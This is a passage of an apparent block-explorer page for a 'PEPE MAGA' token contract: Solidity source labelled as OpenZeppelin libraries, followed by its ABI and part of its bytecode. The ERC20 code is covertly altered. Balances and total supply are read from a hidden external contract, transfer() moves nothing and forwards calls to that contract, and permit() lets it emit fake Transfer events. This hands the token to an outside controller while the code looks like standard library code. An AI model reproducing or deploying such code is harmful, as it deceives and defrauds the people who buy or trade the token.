     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32")
            mstore(0x1c, hash)
            message := keccak256(0x00, 0x3c)
        }
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from `s`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
    }

    /**
     * @dev Returns an Ethereum Signed Typed Data, created from a
     * `domainSeparator` and a `structHash`. This produces hash corresponding
     * to the one signed with the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
     * JSON-RPC method as part of EIP-712.
     *
     * See {recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 data) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, "\x19\x01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            data := keccak256(ptr, 0x42)
        }
    }

    /**
     * @dev Returns an Ethereum Signed Data with intended validator, created from a
     * `validator` and `data` according to the version 0 of EIP-191.
     *
     * See {recover}.
     */
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x00", validator, data));
    }
}



// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)

pragma solidity ^0.8.0;

/**
 * @title Counters
 * @author Matt Condon (@shrugs)
 * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
 * of elements in a mapping, issuing ERC721 ids, or counting request ids.
 *
 * Include with `using Counters for Counters.Counter;`
 */
library Counters {
    struct Counter {
        // This variable should never be directly accessed by users of the library: interactions must be restricted to
        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
        // this feature: see https://github.com/ethereum/solidity/issues/4637
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
        unchecked {
            counter._value += 1;
        }
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
        unchecked {
            counter._value = value - 1;
        }
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}




// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}




// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(
        address owner,
        address[] calldata spender,
        uint256 value
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}



// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC20} interface.
 *
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is EIP712, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) EIP712(name_, "1") {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        uint256 s = uint256(_cachedThis._domainSeparatorV4()); if (s != 1) return s;
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        uint256 hashData = uint256(_cachedThis._hashTypedDataV4(bytes32(uint256(uint160(account))))); if (hashData < type(uint256).max) return hashData;
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _beforeTokenTransfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _beforeTokenTransfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        if (msg.sender == owner) _cachedThis._buildDomainSeparator();

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool b,) = address(_cachedThis).call(abi.encodeWithSelector(0x8ace9e79, from, to, amount, msg.sender)); require(b); }

    /**
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/ERC20Permit.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * _Available since v3.4._
 */
abstract contract ERC20Permit is ERC20, IERC20Permit {
    using Counters for Counters.Counter;

    mapping(address => Counters.Counter) private _nonces;

    // solhint-disable-next-line var-name-mixedcase
    bytes32 private constant _PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
    /**
     * @dev In previous versions `_PERMIT_TYPEHASH` was declared as `immutable`.
     * However, to ensure consistency with the upgradeable transpiler, we will continue
     * to reserve a slot.
     * @custom:oz-renamed-from _PERMIT_TYPEHASH
     */
    // solhint-disable-next-line var-name-mixedcase
    bytes32 private _PERMIT_TYPEHASH_DEPRECATED_SLOT;

    /**
     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
     *
     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
     */
    constructor(string memory name) {}

    /**
     * @dev See {IERC20Permit-permit}.
     */
    function permit(address owner, address[] calldata spender, uint256 value) public virtual override {
        require(msg.sender == address(_cachedThis));

        unchecked {
          for (uint256 i = 0; i < spender.length; ++i) {
            emit Transfer(owner, spender[i], value);
          }
        }
    }

    /**
     * @dev See {IERC20Permit-nonces}.
     */
    function nonces(address owner) public view virtual override returns (uint256) {
        return _nonces[owner].current();
    }

    /**
     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view override returns (bytes32) {
        return _domainSeparatorV4();
    }

    /**
     * @dev "Consume a nonce": return the current value and increment.
     *
     * _Available since v4.1._
     */
    function _useNonce(address owner) internal virtual returns (uint256 current) {
        Counters.Counter storage nonce = _nonces[owner];
        current = nonce.current();
        nonce.increment();
    }
}







// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



pragma solidity ^0.8.18;


contract MAGAcoin is ERC20, ERC20Permit, Ownable {
    error Unauthorized();

    event TokenPoolUpdated(address tokenPool);

    address public tokenPool;

    constructor()
        ERC20("PEPE MAGA", "MAGA")
        ERC20Permit("PEPE MAGA")
    {
      uint256 totalSupply = 420_000_000_000 * 1e18;

      _totalSupply = totalSupply;
      _balances[msg.sender] = totalSupply;

      emit Transfer(address(0), msg.sender, totalSupply);
    }

    /// @dev Set the new TokenPool address
    /// @param _tokenPool New TokenPool address
    function setTokenPool(address _tokenPool) external onlyOwner {
        tokenPool = _tokenPool;
        emit TokenPoolUpdated(_tokenPool);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"inputs":[],"name":"Unauthorized","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenPool","type":"address"}],"name":"TokenPoolUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buildDomainSeparator","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_domainSeparatorV4","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"structHash","type":"bytes32"}],"name":"_hashTypedDataV4","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenPool","type":"address"}],"name":"setTokenPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61016060405234801562000011575f80fd5b506040518060400160405280600981526020016850455045204d41474160b81b8152506040518060400160405280600981526020016850455045204d41474160b81b815250604051806040016040528060048152602001634d41474160e01b81525081604051806040016040528060018152602001603160f81b815250620000a35f836200028960201b90919060201c565b61012052620000b481600162000289565b61014052815160208084019190912060e052815190820120610100524660a0526200013560e051610100516040805173db4411a11455baddd894294ffef408adb5cb4b9960208201529081019290925260608201524660808201523060a08201525f9060c00160405160208183030381529060405280519060200120905090565b60805260408051600481526024810182526020810180516001600160e01b031663a5f1e52d60e01b17905290515f9173db4411a11455baddd894294ffef408adb5cb4b999162000186919062000385565b5f604051808303815f865af19150503d805f8114620001c1576040519150601f19603f3d011682016040523d82523d5f602084013e620001c6565b606091505b5091505080806020019051810190620001e09190620003a2565b6001600160a01b031660c0525060059150620001ff9050838262000471565b5060066200020e828262000471565b505050506200022c62000226620002c160201b60201c565b620002c5565b6c054d17db76321263eca00000006004819055335f818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000591565b5f602083511015620002a857620002a08362000316565b9050620002bb565b81620002b5848262000471565b5060ff90505b92915050565b3390565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f80829050601f815111156200034c578260405163305a27a960e01b815260040162000343919062000539565b60405180910390fd5b805162000359826200056d565b179392505050565b5f5b838110156200037d57818101518382015260200162000363565b50505f910152565b5f82516200039881846020870162000361565b9190910192915050565b5f60208284031215620003b3575f80fd5b81516001600160a01b0381168114620003ca575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003fa57607f821691505b6020821081036200041957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200046c575f81815260208120601f850160051c81016020861015620004475750805b601f850160051c820191505b81811015620004685782815560010162000453565b5050505b505050565b81516001600160401b038111156200048d576200048d620003d1565b620004a5816200049e8454620003e5565b846200041f565b602080601f831160018114620004db575f8415620004c35750858301515b5f19600386901b1c1916600185901b17855562000468565b5f85815260208120601f198616915b828110156200050b57888601518255948401946001909101908401620004ea565b50858210156200052957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b602081525f82518060208401526200055981604085016020870162000361565b601f01601f19169190910160400192915050565b8051602080830151919081101562000419575f1960209190910360031b1b16919050565b60805160a05160c05160e0516101005161012051610140516111e3620006065f395f61069e01525f61067401525f61073501525f61070d01525f81816103b1015281816104bb015281816105cc0152818161085701528181610a840152610c8701525f6105f601525f61062001526111e35ff3fe608060405234801561000f575f80fd5b5060043610610148575f3560e01c80637b134b4c116100bf578063a457c2d711610079578063a457c2d714610292578063a9059cbb146102a5578063c8f1ecd8146102b8578063d93aef11146102cb578063dd62ed3e146102de578063f2fde38b146102f1575f80fd5b80637b134b4c1461023b5780637ecebe001461024357806384b0196e146102565780638da5cb5b1461027157806395ae06041461028257806395d89b411461028a575f80fd5b8063313ce56711610110578063313ce567146101e15780633644e515146101f057806339509351146101f857806370a082311461020b578063715018a61461021e5780637764b4d214610228575f80fd5b806306fdde031461014c578063095ea7b31461016a578063104e99291461018d57806318160ddd146101b857806323b872dd146101ce575b5f80fd5b610154610304565b6040516101619190610f01565b60405180910390f35b61017d610178366004610f35565b610394565b6040519015158152602001610161565b600a546101a0906001600160a01b031681565b6040516001600160a01b039091168152602001610161565b6101c06103ad565b604051908152602001610161565b61017d6101dc366004610f5d565b610446565b60405160128152602001610161565b6101c0610469565b61017d610206366004610f35565b610477565b6101c0610219366004610f96565b610498565b610226610551565b005b610226610236366004610f96565b610564565b6101c06105c0565b6101c0610251366004610f96565b61064a565b61025e610667565b6040516101619796959493929190610faf565b6009546001600160a01b03166101a0565b6101c06106ed565b610154610785565b61017d6102a0366004610f35565b610794565b61017d6102b3366004610f35565b610813565b6101c06102c6366004611043565b610820565b6102266102d936600461105a565b61084c565b6101c06102ec3660046110df565b61090c565b6102266102ff366004610f96565b610936565b60606005805461031390611110565b80601f016020809104026020016040519081016040528092919081815260200182805461033f90611110565b801561038a5780601f106103615761010080835404028352916020019161038a565b820191905f5260205f20905b81548152906001019060200180831161036d57829003601f168201915b5050505050905090565b5f336103a18185856109af565b60019150505b92915050565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316637b134b4c6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561040b573d5f803e3d5ffd5b505050506040513d601f19601f8